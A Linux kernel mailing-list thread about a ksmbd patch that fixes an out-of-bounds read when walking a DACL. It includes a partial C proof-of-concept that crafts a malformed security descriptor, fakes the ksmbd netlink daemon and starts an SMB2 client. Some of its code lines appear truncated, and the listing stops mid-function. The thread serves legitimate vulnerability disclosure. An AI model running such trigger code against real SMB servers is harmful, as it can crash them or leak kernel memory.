All of lore.kernel.org
 help / color / mirror / Atom feed
* [PATCH] ksmbd: use copied ACE count when walking DACL in set_ntacl_dacl
@ 2026-07-22 23:59 Xiang Mei (Microsoft)
  2026-07-23  0:19 ` Namjae Jeon
  0 siblings, 1 reply; 6+ messages in thread
From: Xiang Mei (Microsoft) @ 2026-07-22 23:59 UTC (permalink / raw)
  To: Namjae Jeon, Steve French, Sergey Senozhatsky, Tom Talpey
  Cc: linux-cifs, linux-kernel, Hyunchul Lee, Ronnie Sahlberg,
	AutonomousCodeSecurity, tgopinath, kys, Xiang Mei (Microsoft)

set_ntacl_dacl() copies ACEs from the stored, attacker-controlled DACL
into pndace but may copy fewer than nt_num_aces (it skips ACEs with a bad
sid.num_subauth and breaks on size overflow). It still passes the raw
nt_num_aces to set_posix_acl_entries_dacl(), whose dedup loop then walks
that many ACEs and, past the last one actually copied, reads
sub_auth[num_subauth - 1] from uninitialized buffer memory - an
out-of-bounds read whose offset comes from that stale byte.

Pass num_aces, the count actually copied, instead. For well-formed DACLs
num_aces equals nt_num_aces, so behavior is unchanged.

  UBSAN: array-index-out-of-bounds in fs/smb/server/smbacl.c:651:27
  index -1 is out of range for type '__le32 [15]'
  Workqueue: ksmbd-io handle_ksmbd_work
  Call Trace:
   __ubsan_handle_out_of_bounds (lib/ubsan.c:455)
   set_posix_acl_entries_dacl (fs/smb/server/smbacl.c:651)
   build_sec_desc (fs/smb/server/smbacl.c:776 fs/smb/server/smbacl.c:1078)
   smb2_query_info (fs/smb/server/smb2pdu.c:6269 fs/smb/server/smb2pdu.c:6339)
   handle_ksmbd_work (fs/smb/server/server.c:308)
   process_one_work (kernel/workqueue.c:3322)
   worker_thread (kernel/workqueue.c:3486)
   kthread (kernel/kthread.c:436)

Fixes: e2f34481b24d ("cifsd: add server-side procedures for SMB3")
Reported-by: AutonomousCodeSecurity@microsoft.com
Signed-off-by: Xiang Mei (Microsoft) <xmei5@asu.edu>
---
 fs/smb/server/smbacl.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/fs/smb/server/smbacl.c b/fs/smb/server/smbacl.c
index 67b39b4d218c..957547157ef8 100644
--- a/fs/smb/server/smbacl.c
+++ b/fs/smb/server/smbacl.c
@@ -774,7 +774,7 @@ static void set_ntacl_dacl(struct mnt_idmap *idmap,
 	}
 
 	set_posix_acl_entries_dacl(idmap, pndace, fattr,
-				   &num_aces, &size, nt_num_aces);
+				   &num_aces, &size, num_aces);
 	pndacl->num_aces = cpu_to_le16(num_aces);
 	pndacl->size = cpu_to_le16(le16_to_cpu(pndacl->size) + size);
 }
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 6+ messages in thread

* Re: [PATCH] ksmbd: use copied ACE count when walking DACL in set_ntacl_dacl
  2026-07-22 23:59 [PATCH] ksmbd: use copied ACE count when walking DACL in set_ntacl_dacl Xiang Mei (Microsoft)
@ 2026-07-23  0:19 ` Namjae Jeon
  2026-07-24  7:09   ` ChenXiaoSong
  2026-07-25 20:44   ` Xiang Mei
  0 siblings, 2 replies; 6+ messages in thread
From: Namjae Jeon @ 2026-07-23  0:19 UTC (permalink / raw)
  To: Xiang Mei (Microsoft)
  Cc: Steve French, Sergey Senozhatsky, Tom Talpey, linux-cifs,
	linux-kernel, Hyunchul Lee, Ronnie Sahlberg,
	AutonomousCodeSecurity, tgopinath, kys

On Thu, Jul 23, 2026 at 8:59 AM Xiang Mei (Microsoft) <xmei5@asu.edu> wrote:
>
> set_ntacl_dacl() copies ACEs from the stored, attacker-controlled DACL
> into pndace but may copy fewer than nt_num_aces (it skips ACEs with a bad
> sid.num_subauth and breaks on size overflow). It still passes the raw
> nt_num_aces to set_posix_acl_entries_dacl(), whose dedup loop then walks
> that many ACEs and, past the last one actually copied, reads
> sub_auth[num_subauth - 1] from uninitialized buffer memory - an
> out-of-bounds read whose offset comes from that stale byte.
>
> Pass num_aces, the count actually copied, instead. For well-formed DACLs
> num_aces equals nt_num_aces, so behavior is unchanged.
>
>   UBSAN: array-index-out-of-bounds in fs/smb/server/smbacl.c:651:27
>   index -1 is out of range for type '__le32 [15]'
>   Workqueue: ksmbd-io handle_ksmbd_work
>   Call Trace:
>    __ubsan_handle_out_of_bounds (lib/ubsan.c:455)
>    set_posix_acl_entries_dacl (fs/smb/server/smbacl.c:651)
>    build_sec_desc (fs/smb/server/smbacl.c:776 fs/smb/server/smbacl.c:1078)
>    smb2_query_info (fs/smb/server/smb2pdu.c:6269 fs/smb/server/smb2pdu.c:6339)
>    handle_ksmbd_work (fs/smb/server/server.c:308)
>    process_one_work (kernel/workqueue.c:3322)
>    worker_thread (kernel/workqueue.c:3486)
>    kthread (kernel/kthread.c:436)
>
> Fixes: e2f34481b24d ("cifsd: add server-side procedures for SMB3")
> Reported-by: AutonomousCodeSecurity@microsoft.com
> Signed-off-by: Xiang Mei (Microsoft) <xmei5@asu.edu>
Thanks for the patch.
Could you please check whether this issue is still present in the
current ksmbd-for-next-next tree?

^ permalink raw reply	[flat|nested] 6+ messages in thread

* Re: [PATCH] ksmbd: use copied ACE count when walking DACL in set_ntacl_dacl
  2026-07-23  0:19 ` Namjae Jeon
@ 2026-07-24  7:09   ` ChenXiaoSong
  2026-07-25 20:57     ` Xiang Mei
  2026-07-25 20:44   ` Xiang Mei
  1 sibling, 1 reply; 6+ messages in thread
From: ChenXiaoSong @ 2026-07-24  7:09 UTC (permalink / raw)
  To: Namjae Jeon, Xiang Mei (Microsoft)
  Cc: Steve French, Sergey Senozhatsky, Tom Talpey, linux-cifs,
	linux-kernel, Hyunchul Lee, Ronnie Sahlberg,
	AutonomousCodeSecurity, tgopinath, kys

Could you share the steps to reproduce it?

On 7/23/26 08:19, Namjae Jeon wrote:
> Thanks for the patch.
> Could you please check whether this issue is still present in the
> current ksmbd-for-next-next tree?

-- 
ChenXiaoSong <chenxiaosong@chenxiaosong.com>
Chinese Homepage: https://chenxiaosong.com
English Homepage: https://chenxiaosong.com/en


^ permalink raw reply	[flat|nested] 6+ messages in thread

* Re: [PATCH] ksmbd: use copied ACE count when walking DACL in set_ntacl_dacl
  2026-07-23  0:19 ` Namjae Jeon
  2026-07-24  7:09   ` ChenXiaoSong
@ 2026-07-25 20:44   ` Xiang Mei
  1 sibling, 0 replies; 6+ messages in thread
From: Xiang Mei @ 2026-07-25 20:44 UTC (permalink / raw)
  To: Namjae Jeon
  Cc: Steve French, Sergey Senozhatsky, Tom Talpey, linux-cifs,
	linux-kernel, Hyunchul Lee, Ronnie Sahlberg,
	AutonomousCodeSecurity, tgopinath, kys

On Wed, Jul 22, 2026 at 5:19 PM Namjae Jeon <linkinjeon@kernel.org> wrote:
>
> On Thu, Jul 23, 2026 at 8:59 AM Xiang Mei (Microsoft) <xmei5@asu.edu> wrote:
> >
> > set_ntacl_dacl() copies ACEs from the stored, attacker-controlled DACL
> > into pndace but may copy fewer than nt_num_aces (it skips ACEs with a bad
> > sid.num_subauth and breaks on size overflow). It still passes the raw
> > nt_num_aces to set_posix_acl_entries_dacl(), whose dedup loop then walks
> > that many ACEs and, past the last one actually copied, reads
> > sub_auth[num_subauth - 1] from uninitialized buffer memory - an
> > out-of-bounds read whose offset comes from that stale byte.
> >
> > Pass num_aces, the count actually copied, instead. For well-formed DACLs
> > num_aces equals nt_num_aces, so behavior is unchanged.
> >
> >   UBSAN: array-index-out-of-bounds in fs/smb/server/smbacl.c:651:27
> >   index -1 is out of range for type '__le32 [15]'
> >   Workqueue: ksmbd-io handle_ksmbd_work
> >   Call Trace:
> >    __ubsan_handle_out_of_bounds (lib/ubsan.c:455)
> >    set_posix_acl_entries_dacl (fs/smb/server/smbacl.c:651)
> >    build_sec_desc (fs/smb/server/smbacl.c:776 fs/smb/server/smbacl.c:1078)
> >    smb2_query_info (fs/smb/server/smb2pdu.c:6269 fs/smb/server/smb2pdu.c:6339)
> >    handle_ksmbd_work (fs/smb/server/server.c:308)
> >    process_one_work (kernel/workqueue.c:3322)
> >    worker_thread (kernel/workqueue.c:3486)
> >    kthread (kernel/kthread.c:436)
> >
> > Fixes: e2f34481b24d ("cifsd: add server-side procedures for SMB3")
> > Reported-by: AutonomousCodeSecurity@microsoft.com
> > Signed-off-by: Xiang Mei (Microsoft) <xmei5@asu.edu>
> Thanks for the patch.
> Could you please check whether this issue is still present in the
> current ksmbd-for-next-next tree?

Thanks for pointing me to ksmbd-for-next-next. I am sorry I didn't
find the correct branch to test on. I'll improve my workflow to avoid
this kind of duplication.

The bug is actually fixed by 065148205b48.
The patch is complete for this issue.

-Xiang

^ permalink raw reply	[flat|nested] 6+ messages in thread

* Re: [PATCH] ksmbd: use copied ACE count when walking DACL in set_ntacl_dacl
  2026-07-24  7:09   ` ChenXiaoSong
@ 2026-07-25 20:57     ` Xiang Mei
  2026-07-26  1:01       ` ChenXiaoSong
  0 siblings, 1 reply; 6+ messages in thread
From: Xiang Mei @ 2026-07-25 20:57 UTC (permalink / raw)
  To: ChenXiaoSong
  Cc: Namjae Jeon, Steve French, Sergey Senozhatsky, Tom Talpey,
	linux-cifs, linux-kernel, Hyunchul Lee, Ronnie Sahlberg,
	AutonomousCodeSecurity, tgopinath, kys

On Fri, Jul 24, 2026 at 12:10 AM ChenXiaoSong
<chenxiaosong@chenxiaosong.com> wrote:
>
> Could you share the steps to reproduce it?
>
> On 7/23/26 08:19, Namjae Jeon wrote:
> > Thanks for the patch.
> > Could you please check whether this issue is still present in the
> > current ksmbd-for-next-next tree?
>
The issue is patched in 065148205b48. Sorry for the dup.

If you are still interested in the poc, here is the poc we triggered
the bug with:
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/xattr.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <stdint.h>
#include <pthread.h>

/* ============ SHA-256 implementation ============ */
static const uint32_t sha256_k[64] = {
    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82,
    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06,
    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9,
    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca63,
    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c9,
    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e35,
    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca,
    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a32
};
#define RR(x,n) (((x)>>(n))|((x)<<(32-(n))))
#define CH(x,y,z) (((x)&(y))^((~(x))&(z)))
#define MAJ(x,y,z) (((x)&(y))^((x)&(z))^((y)&(z)))
#define EP0(x) (RR(x,2)^RR(x,13)^RR(x,22))
#define EP1(x) (RR(x,6)^RR(x,11)^RR(x,25))
#define SIG0(x) (RR(x,7)^RR(x,18)^((x)>>3))
#define SIG1(x) (RR(x,17)^RR(x,19)^((x)>>10))

static void sha256(const uint8_t *data, size_t len, uint8_t out[32]) {
    uint32_t h[8] = {0x6a09e667,0xbb67ae85,0x3c6ef372,0xa54ff53a,
                     0x510e527f,0x9b05688c,0x1f83d9ab,0x5be0cd19};
    size_t i, j;
    uint64_t bitlen = len * 8;
    size_t nblocks = len / 64;
    for (i = 0; i < nblocks; i++) {
        uint32_t w[64], a,b,c,d,e,f,g,hh,t1,t2;
        const uint8_t *blk = data + i * 64;
        for (j = 0; j < 16; j++)
            w[j] = ((uint32_t)blk[j*4]<<24)|((uint32_t)blk[j*4+1]<<16)|
                   ((uint32_t)blk[j*4+2]<<8)|blk[j*4+3];
        for (j = 16; j < 64; j++)
            w[j] = SIG1(w[j-2]) + w[j-7] + SIG0(w[j-15]) + w[j-16];
        a=h[0];b=h[1];c=h[2];d=h[3];e=h[4];f=h[5];g=h[6];hh=h[7];
        for (j = 0; j < 64; j++) {
            t1 = hh + EP1(e) + CH(e,f,g) + sha256_k[j] + w[j];
            t2 = EP0(a) + MAJ(a,b,c);
            hh=g;g=f;f=e;e=d+t1;d=c;c=b;b=a;a=t1+t2;
        }
        h[0]+=a;h[1]+=b;h[2]+=c;h[3]+=d;h[4]+=e;h[5]+=f;h[6]+=g;h[7]+=hh;
    }
    uint8_t last[128];
    size_t rem = len - nblocks * 64;
    memset(last, 0, sizeof(last));
    if (rem) memcpy(last, data + nblocks * 64, rem);
    last[rem] = 0x80;
    int final_blocks = (rem < 56) ? 1 : 2;
    int pad_off = final_blocks * 64 - 8;
    for (j = 0; j < 8; j++) last[pad_off + j] = (bitlen >> (56 - j*8)) & 0xff;
    for (int bi = 0; bi < final_blocks; bi++) {
        uint32_t w[64], a,b,c,d,e,f,g,hh,t1,t2;
        uint8_t *blk = last + bi * 64;
        for (j = 0; j < 16; j++)
            w[j] = ((uint32_t)blk[j*4]<<24)|((uint32_t)blk[j*4+1]<<16)|
                   ((uint32_t)blk[j*4+2]<<8)|blk[j*4+3];
        for (j = 16; j < 64; j++)
            w[j] = SIG1(w[j-2]) + w[j-7] + SIG0(w[j-15]) + w[j-16];
        a=h[0];b=h[1];c=h[2];d=h[3];e=h[4];f=h[5];g=h[6];hh=h[7];
        for (j = 0; j < 64; j++) {
            t1 = hh + EP1(e) + CH(e,f,g) + sha256_k[j] + w[j];
            t2 = EP0(a) + MAJ(a,b,c);
            hh=g;g=f;f=e;e=d+t1;d=c;c=b;b=a;a=t1+t2;
        }
        h[0]+=a;h[1]+=b;h[2]+=c;h[3]+=d;h[4]+=e;h[5]+=f;h[6]+=g;h[7]+=hh;
    }
    for (j = 0; j < 8; j++) {
        out[j*4] = (h[j]>>24)&0xff; out[j*4+1] = (h[j]>>16)&0xff;
        out[j*4+2] = (h[j]>>8)&0xff; out[j*4+3] = h[j]&0xff;
    }
}

/* ============ NDR encoder ============ */
struct ndr_buf { uint8_t *data; int offset; int capacity; };

static void ndr_ensure(struct ndr_buf *n, int need) {
    if (n->offset + need > n->capacity) {
        n->capacity = (n->offset + need) * 2;
        n->data = realloc(n->data, n->capacity);
    }
}
static void ndr_write_int16(struct ndr_buf *n, uint16_t v) {
    ndr_ensure(n, 2); memcpy(n->data + n->offset, &v, 2); n->offset += 2;
}
static void ndr_write_int32(struct ndr_buf *n, uint32_t v) {
    ndr_ensure(n, 4); memcpy(n->data + n->offset, &v, 4); n->offset += 4;
}
static void ndr_write_int64(struct ndr_buf *n, uint64_t v) {
    ndr_ensure(n, 8); memcpy(n->data + n->offset, &v, 8); n->offset += 8;
}
static void ndr_write_bytes(struct ndr_buf *n, const void *d, int len) {
    ndr_ensure(n, len); memcpy(n->data + n->offset, d, len); n->offset += len;
}
static void ndr_align8(struct ndr_buf *n) {
    int a = (n->offset + 7) & ~7;
    if (a > n->offset) { ndr_ensure(n, a - n->offset); memset(n->data + n->off}
}

#define SMB_ACL_USER      1
#define SMB_ACL_USER_OBJ  2
#define SMB_ACL_GROUP     3
#define SMB_ACL_GROUP_OBJ 4
#define SMB_ACL_OTHER     5
#define SMB_ACL_MASK      6

struct acl_entry { int type; uint64_t id; int perm; };

static void ndr_encode_posix_acl_entry_fn(struct ndr_buf *n, struct acl_entry {
    ndr_write_int32(n, count);
    ndr_align8(n);
    ndr_write_int32(n, count);
    ndr_write_int32(n, 0);
    for (int i = 0; i < count; i++) {
        ndr_align8(n);
        ndr_write_int16(n, entries[i].type);
        ndr_write_int16(n, entries[i].type);
        if (entries[i].type == SMB_ACL_USER) {
            ndr_align8(n);
            ndr_write_int64(n, entries[i].id);
        } else if (entries[i].type == SMB_ACL_GROUP) {
            ndr_align8(n);
            ndr_write_int64(n, entries[i].id);
        }
        ndr_write_int32(n, entries[i].perm);
    }
}

static void ndr_encode_posix_acl_fn(struct ndr_buf *n, uint64_t uid, uint64_t ,
                                     uint32_t mode, struct acl_entry *acl, int{
    uint32_t ref_id = 0x00020000;
    n->offset = 0;
    if (acl) { ndr_write_int32(n, ref_id); ref_id += 4; }
    else ndr_write_int32(n, 0);
    /* no default ACL */
    ndr_write_int32(n, 0);
    ndr_write_int64(n, uid);
    ndr_write_int64(n, gid);
    ndr_write_int32(n, mode);
    if (acl)
        ndr_encode_posix_acl_entry_fn(n, acl, acl_count);
}

#define NDR_NTSD_OFFSETOF 0xA0

static void ndr_encode_v4_ntacl_fn(struct ndr_buf *n, uint8_t hash[64],
                                    uint8_t posix_hash[64], uint8_t *sd_buf, i{
    n->offset = 0;
    ndr_write_int16(n, 4);          /* version */
    ndr_write_int32(n, 4);          /* version2 */
    ndr_write_int16(n, 2);          /* level */
    ndr_write_int32(n, 0x00020004); /* ref_id */
    ndr_write_int16(n, 1);          /* hash_type = SHA256 */
    ndr_write_bytes(n, hash, 64);
    uint8_t desc[10]; memset(desc, 0, 10); memcpy(desc, "posix_acl", 9);
    ndr_write_bytes(n, desc, 10);
    ndr_write_int64(n, 0);          /* current_time */
    ndr_write_bytes(n, posix_hash, 64);
    ndr_write_bytes(n, sd_buf, sd_size);
}

/* ============ Build crafted Security Descriptor ============ */
static int build_crafted_sd(uint8_t *out, int maxl) {
    memset(out, 0, maxl);
    int off = 0;
    /* NTSD header: revision=1, type=DACL_PRESENT(0x0004) */
    *(uint16_t *)(out + 0) = 1;
    *(uint16_t *)(out + 2) = 0x0004;
    off = 20; /* 2+2+4+4+4+4 = 20 */

    int dacl_off = off;
    *(uint16_t*)(out+off) = 2;
    *(uint16_t*)(out+off+4) = 2; /* num_aces = 2, only 1 gets copied */
    off += 8;

    /* ACE1: Everyone (S-1-1-0) FULL_CONTROL - passes the CREATE access check /
    out[off]=0; *(uint32_t*)(out+off+4)=0x001F01FF;
    out[off+8]=1; out[off+9]=1;
    out[off+14]=0; out[off+15]=1;
    *(uint32_t*)(out+off+16)=0;
    int ace1_sz = 8+8+1*4;
    *(uint16_t*)(out+off+2)=ace1_sz; off+=ace1_sz;

    /* ACE2: num_subauth=20 > 15, skipped by the copy loop but still counted */
    out[off]=0; *(uint32_t*)(out+off+4)=0x001F01FF;
    out[off+8]=1; out[off+9]=20; out[off+15]=5;
    int ace_sz = 8+8;
    *(uint16_t*)(out+off+2)=ace_sz; off+=ace_sz;

    *(uint16_t*)(out+dacl_off+2) = off - dacl_off;
    *(uint32_t*)(out+16) = dacl_off;
    return off;
}

/* ============ ksmbd netlink IPC ============ */
#define KSMBD_GENL_NAME     "SMBD_GENL"
#define KSMBD_GENL_VERSION  0x01

enum ksmbd_event {
    KSMBD_EVENT_UNSPEC=0, KSMBD_EVENT_HEARTBEAT_REQUEST,
    KSMBD_EVENT_STARTING_UP, KSMBD_EVENT_SHUTTING_DOWN,
    KSMBD_EVENT_LOGIN_REQUEST, KSMBD_EVENT_LOGIN_RESPONSE,
    KSMBD_EVENT_SHARE_CONFIG_REQUEST, KSMBD_EVENT_SHARE_CONFIG_RESPONSE,
    KSMBD_EVENT_TREE_CONNECT_REQUEST, KSMBD_EVENT_TREE_CONNECT_RESPONSE,
    KSMBD_EVENT_TREE_DISCONNECT_REQUEST, KSMBD_EVENT_LOGOUT_REQUEST,
    KSMBD_EVENT_RPC_REQUEST, KSMBD_EVENT_RPC_RESPONSE,
    KSMBD_EVENT_SPNEGO_AUTHEN_REQUEST, KSMBD_EVENT_SPNEGO_AUTHEN_RESPONSE,
    KSMBD_EVENT_LOGIN_REQUEST_EXT, KSMBD_EVENT_LOGIN_RESPONSE_EXT,
};

#define KSMBD_SHARE_FLAG_AVAILABLE    (1<<0)
#define KSMBD_SHARE_FLAG_BROWSEABLE   (1<<1)
#define KSMBD_SHARE_FLAG_WRITEABLE    (1<<2)
#define KSMBD_SHARE_FLAG_GUEST_OK     (1<<4)
#define KSMBD_SHARE_FLAG_GUEST_ONLY   (1<<5)
#define KSMBD_SHARE_FLAG_OPLOCKS      (1<<7)
#define KSMBD_SHARE_FLAG_ACL_XATTR    (1<<13)
#define KSMBD_USER_FLAG_OK            (1<<0)
#define KSMBD_USER_FLAG_GUEST_ACCOUNT (1<<4)
#define KSMBD_TREE_CONN_STATUS_OK     0
#define KSMBD_TREE_CONN_FLAG_WRITABLE (1<<2)

struct ksmbd_startup_request {
    uint32_t flags; int32_t signing;
    int8_t min_prot[16]; int8_t max_prot[16];
    int8_t netbios_name[16]; int8_t work_group[64]; int8_t server_string[64];
    uint16_t tcp_port; uint16_t ipc_timeout;
    uint32_t deadtime; uint32_t file_max;
    uint32_t smb2_max_write; uint32_t smb2_max_read; uint32_t smb2_max_trans;
    uint32_t share_fake_fscaps; uint32_t sub_auth[3];
    uint32_t smb2_max_credits; uint32_t smbd_max_io_size;
    uint32_t max_connections; int8_t bind_interfaces_only;
    uint32_t max_ip_connections; int8_t reserved[499]; uint32_t ifc_list_sz;
} __attribute__((packed));

struct ksmbd_login_request { uint32_t handle; int8_t account[48]; uint32_t res;
struct ksmbd_login_response {
    uint32_t handle; uint32_t gid; uint32_t uid; int8_t account[48];
    uint16_t status; uint16_t hash_sz; int8_t hash[18]; uint32_t reserved[16];
};
struct ksmbd_login_response_ext { uint32_t handle; int32_t ngroups; int8_t res;
struct ksmbd_share_config_response {
    uint32_t handle; uint32_t flags; uint16_t create_mask; uint16_t directory_;
    uint16_t force_create_mode; uint16_t force_directory_mode;
    uint16_t force_uid; uint16_t force_gid; int8_t share_name[64];
    uint32_t reserved[111]; uint32_t payload_sz; uint32_t veto_list_sz;
};
struct ksmbd_tree_connect_response {
    uint32_t handle; uint16_t status; uint16_t connection_flags; uint32_t rese;
};

static const char *SHARE_PATH = "/tmp/smbshare";
static int nl_sock = -1;
static uint16_t nl_family_id = 0;
static uint32_t nl_mcast_grp = 0;
static volatile int daemon_running = 1;

static int resolve_genl_family(int sock, const char *name) {
    char buf[4096]; memset(buf, 0, sizeof(buf));
    struct nlmsghdr *nlh = (void *)buf;
    struct genlmsghdr *gh = (void *)NLMSG_DATA(nlh);
    struct nlattr *nla = (void *)((char *)gh + GENL_HDRLEN);
    int nlen = strlen(name) + 1;
    nla->nla_len = NLA_HDRLEN + nlen; nla->nla_type = CTRL_ATTR_FAMILY_NAME;
    memcpy((char *)nla + NLA_HDRLEN, name, nlen);
    gh->cmd = CTRL_CMD_GETFAMILY; gh->version = 1;
    nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN) + NLA_ALIGN(nla->nla_len);
    nlh->nlmsg_type = GENL_ID_CTRL; nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlm;
    struct sockaddr_nl a = {.nl_family = AF_NETLINK};
    if (sendto(sock, buf, nlh->nlmsg_len, 0, (void *)&a, sizeof(a)) < 0) retur;
    int len = recv(sock, buf, sizeof(buf), 0);
    if (len < 0) return -1;
    nlh = (void *)buf;
    if (nlh->nlmsg_type == NLMSG_ERROR) return -1;
    int fid = -1;
    int rem = NLMSG_PAYLOAD(nlh, GENL_HDRLEN);
    char *p = (char *)NLMSG_DATA(nlh) + GENL_HDRLEN;
    while (rem >= (int)NLA_HDRLEN) {
        struct nlattr *at = (void *)p;
        if (at->nla_len < NLA_HDRLEN) break;
        int alen = NLA_ALIGN(at->nla_len);
        if (at->nla_type == CTRL_ATTR_FAMILY_ID) fid = *(uint16_t *)((char *)a;
        if (at->nla_type == CTRL_ATTR_MCAST_GROUPS) {
            int grem = at->nla_len - NLA_HDRLEN; char *gp = (char *)at + NLA_H;
            while (grem >= (int)NLA_HDRLEN) {
                struct nlattr *grp = (void *)gp;
                if (grp->nla_len < NLA_HDRLEN) break;
                int irem = grp->nla_len - NLA_HDRLEN; char *ip = (char *)grp +;
                while (irem >= (int)NLA_HDRLEN) {
                    struct nlattr *ia = (void *)ip;
                    if (ia->nla_len < NLA_HDRLEN) break;
                    if (ia->nla_type == 2) nl_mcast_grp = *(uint32_t *)((char ;
                    int il = NLA_ALIGN(ia->nla_len); ip += il; irem -= il;
                }
                int gl = NLA_ALIGN(grp->nla_len); gp += gl; grem -= gl;
            }
        }
        p += alen; rem -= alen;
    }
    return fid;
}

static int nl_send(int sock, uint16_t fid, uint8_t cmd, uint16_t atype, void *{
    char buf[8192]; memset(buf, 0, sizeof(buf));
    struct nlmsghdr *nlh = (void *)buf;
    struct genlmsghdr *gh = (void *)NLMSG_DATA(nlh);
    gh->cmd = cmd; gh->version = KSMBD_GENL_VERSION;
    struct nlattr *nla = (void *)((char *)gh + GENL_HDRLEN);
    nla->nla_type = atype; nla->nla_len = NLA_HDRLEN + dlen;
    memcpy((char *)nla + NLA_HDRLEN, data, dlen);
    nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN) + NLA_ALIGN(nla->nla_len);
    nlh->nlmsg_type = fid; nlh->nlmsg_flags = NLM_F_REQUEST;
    struct sockaddr_nl a = {.nl_family = AF_NETLINK};
    return sendto(sock, buf, nlh->nlmsg_len, 0, (void *)&a, sizeof(a));
}

static void *ipc_thread(void *arg) {
    (void)arg;
    char buf[8192];
    while (daemon_running) {
        struct sockaddr_nl a; socklen_t al = sizeof(a);
        int len = recvfrom(nl_sock, buf, sizeof(buf), 0, (void *)&a, &al);
        if (len < 0) { if (errno == EINTR) continue; break; }
        struct nlmsghdr *nlh = (void *)buf;
        if (nlh->nlmsg_type != nl_family_id) continue;
        struct genlmsghdr *gh = (void *)NLMSG_DATA(nlh);
        void *payload = NULL;
        int rem = NLMSG_PAYLOAD(nlh, GENL_HDRLEN);
        char *ap = (char *)gh + GENL_HDRLEN;
        while (rem >= (int)NLA_HDRLEN) {
            struct nlattr *na = (void *)ap;
            if (na->nla_len < NLA_HDRLEN) break;
            if (na->nla_type == gh->cmd) { payload = ap + NLA_HDRLEN; break; }
            int al2 = NLA_ALIGN(na->nla_len); ap += al2; rem -= al2;
        }
        if (!payload) {
            ap = (char *)gh + GENL_HDRLEN; rem = NLMSG_PAYLOAD(nlh, GENL_HDRLE;
            if (rem >= (int)NLA_HDRLEN) {
                struct nlattr *na = (void *)ap;
                if (na->nla_len >= NLA_HDRLEN) payload = ap + NLA_HDRLEN;
            }
        }
        switch (gh->cmd) {
        case KSMBD_EVENT_LOGIN_REQUEST: {
            struct ksmbd_login_response r; memset(&r, 0, sizeof(r));
            if (payload) { r.handle = *(uint32_t*)payload; memcpy(r.account, (}
            r.status = KSMBD_USER_FLAG_OK | KSMBD_USER_FLAG_GUEST_ACCOUNT;
            r.uid = 0; r.gid = 0;
            nl_send(nl_sock, nl_family_id, KSMBD_EVENT_LOGIN_RESPONSE, KSMBD_E;
            break;
        }
        case KSMBD_EVENT_LOGIN_REQUEST_EXT: {
            struct ksmbd_login_response_ext r; memset(&r, 0, sizeof(r));
            if (payload) r.handle = *(uint32_t*)payload;
            nl_send(nl_sock, nl_family_id, KSMBD_EVENT_LOGIN_RESPONSE_EXT, KSM;
            break;
        }
        case KSMBD_EVENT_SHARE_CONFIG_REQUEST: {
            char rb[sizeof(struct ksmbd_share_config_response) + 256]; memset(;
            struct ksmbd_share_config_response *r = (void *)rb;
            if (payload) r->handle = *(uint32_t*)payload;
            r->flags = KSMBD_SHARE_FLAG_AVAILABLE | KSMBD_SHARE_FLAG_BROWSEABL|
                       KSMBD_SHARE_FLAG_WRITEABLE | KSMBD_SHARE_FLAG_GUEST_OK |
                       KSMBD_SHARE_FLAG_GUEST_ONLY | KSMBD_SHARE_FLAG_OPLOCKS |
                       KSMBD_SHARE_FLAG_ACL_XATTR;
            r->create_mask = 0744; r->directory_mask = 0755;
            strncpy((char *)r->share_name, "test", 63);
            char *pp = rb + sizeof(struct ksmbd_share_config_response);
            strcpy(pp, SHARE_PATH);
            r->payload_sz = strlen(SHARE_PATH) + 1;
            r->veto_list_sz = 0;
            int total = sizeof(struct ksmbd_share_config_response) + r->payloa;
            nl_send(nl_sock, nl_family_id, KSMBD_EVENT_SHARE_CONFIG_RESPONSE, ;
            break;
        }
        case KSMBD_EVENT_TREE_CONNECT_REQUEST: {
            struct ksmbd_tree_connect_response r; memset(&r, 0, sizeof(r));
            if (payload) r.handle = *(uint32_t*)payload;
            r.status = KSMBD_TREE_CONN_STATUS_OK;
            r.connection_flags = KSMBD_TREE_CONN_FLAG_WRITABLE;
            nl_send(nl_sock, nl_family_id, KSMBD_EVENT_TREE_CONNECT_RESPONSE, ;
            break;
        }
        default: break;
        }
    }
    return NULL;
}

/* ============ SMB2 client ============ */
#pragma pack(push, 1)
struct smb2_header {
    uint8_t protocol_id[4]; uint16_t structure_size; uint16_t credit_charge;
    uint32_t status; uint16_t command; uint16_t credit_request;
    uint32_t flags; uint32_t next_command; uint64_t message_id;
    uint32_t reserved; uint32_t tree_id; uint64_t session_id;
    uint8_t signature[16];
};
#pragma pack(pop)

#define SMB2_NEGOTIATE     0x0000
#define SMB2_SESSION_SETUP 0x0001
#define SMB2_TREE_CONNECT  0x0003
#define SMB2_CREATE        0x0005
#define SMB2_QUERY_INFO    0x0010

static uint64_t msg_id = 0, session_id = 0;
static uint32_t tree_id_val = 0;
static uint8_t file_id[16];

static int smb_send(int s, void *b, int l) {
    uint8_t h[4] = {0, (l>>16)&0xFF, (l>>8)&0xFF, l&0xFF};
    if (send(s, h, 4, 0) != 4) return -1;
    return send(s, b, l, 0) == l ? 0 : -1;
}
static int smb_recv(int s, void *b, int bs) {
    uint8_t h[4];
    if (recv(s, h, 4, MSG_WAITALL) != 4) return -1;
